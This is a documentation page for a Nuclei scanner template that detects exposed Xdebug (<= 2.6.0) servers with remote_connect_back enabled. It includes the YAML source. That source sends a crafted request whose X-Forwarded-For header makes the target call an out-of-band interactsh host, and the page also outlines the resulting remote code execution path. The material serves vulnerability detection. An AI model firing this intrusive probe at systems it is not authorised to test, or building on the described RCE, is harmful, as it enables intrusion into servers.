Xdebug remote code execution via xdebug.remote_connect_back
ID: php-xdebug-rce
Severity: high
Author: pwnhxl
Tags: oast,rce,vulhub,php,debug,xdebug,intrusive
Description
Section titled “Description”The XDebug extension <= v2.6.0 for PHP is designed to expand the debugging capabilities of developers, including the ability to perform remote debugging. A misconfigured server, with ‘xdebug.remote_connect_back’ enabled, exposed to the internet could allow an unauthenticated remote attacker to trigger a debugging session using any IP via a simple web request. With a remote debugging session established, the attacker effectively has remote code execution (RCE) capabilities with which to establish persistence, exfiltrate data, or launch further attacks against the system or network.
YAML Source
Section titled “YAML Source”id: php-xdebug-rce
info: name: Xdebug remote code execution via xdebug.remote_connect_back author: pwnhxl severity: high description: | The XDebug extension <= v2.6.0 for PHP is designed to expand the debugging capabilities of developers, including the ability to perform remote debugging. A misconfigured server, with ‘xdebug.remote_connect_back’ enabled, exposed to the internet could allow an unauthenticated remote attacker to trigger a debugging session using any IP via a simple web request. With a remote debugging session established, the attacker effectively has remote code execution (RCE) capabilities with which to establish persistence, exfiltrate data, or launch further attacks against the system or network. reference: - https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce - https://redshark1802.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers/ - https://paper.seebug.org/397/ - https://github.com/D3Ext/XDEBUG-Exploit metadata: max-request: 1 tags: oast,rce,vulhub,php,debug,xdebug,intrusive
http: - raw: - | GET /?XDEBUG_SESSION_START={{randstr}} HTTP/1.1 Host: {{Hostname}} X-Forwarded-For: {{interactsh-url}}
matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns"
- type: word part: header words: - 'Set-Cookie: XDEBUG_SESSION={{randstr}}'
- type: status status: - 200# digest: 4b0a00483046022100f04a01e1dd706067d32dd90ac376c5a6da4a966528517c77f8b142422ab831ca022100c6f77edf523f24759579ed5460000bd68cb33b13a30cd8d891bc7d42149af23a:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/php/php-xdebug-rce.yaml"